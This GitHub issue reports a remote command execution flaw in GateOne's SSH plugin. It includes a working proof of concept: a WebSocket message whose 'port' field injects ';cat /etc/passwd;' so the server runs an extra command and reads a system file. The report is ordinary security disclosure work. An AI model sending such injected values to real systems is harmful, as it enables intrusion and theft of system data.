liftoff/GateOne

An RCE Security vulnerability

glzjin opened this issue · 1 comments

glzjin commented

In this file https://github.com/liftoff/GateOne/blob/master/gateone/applications/terminal/plugins/ssh/ssh.py#L586

There is a command execution and the argument comes from user input.

image

Poc:

  1. Deploy a GateOne instance.

#703

image

image

  1. Open the dev tool in your browser, open the GateOne page.

image

  1. Try to create an ssh connection. And watch the WebSocket traffic, wait for the 'terminal:ssh_get_host_fingerprint' command executes.

image

  1. Now we can switch the dev tool to console, and input this JavaScript script to let GateOne WebSocket send Our evil command. We can see that we get the command execution result from the error message.
GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"node1.buuoj.cn","port":"28030;cat /etc/passwd;"}}')

image

neingeist commented

shouldn't this be addressed?

  • 👀1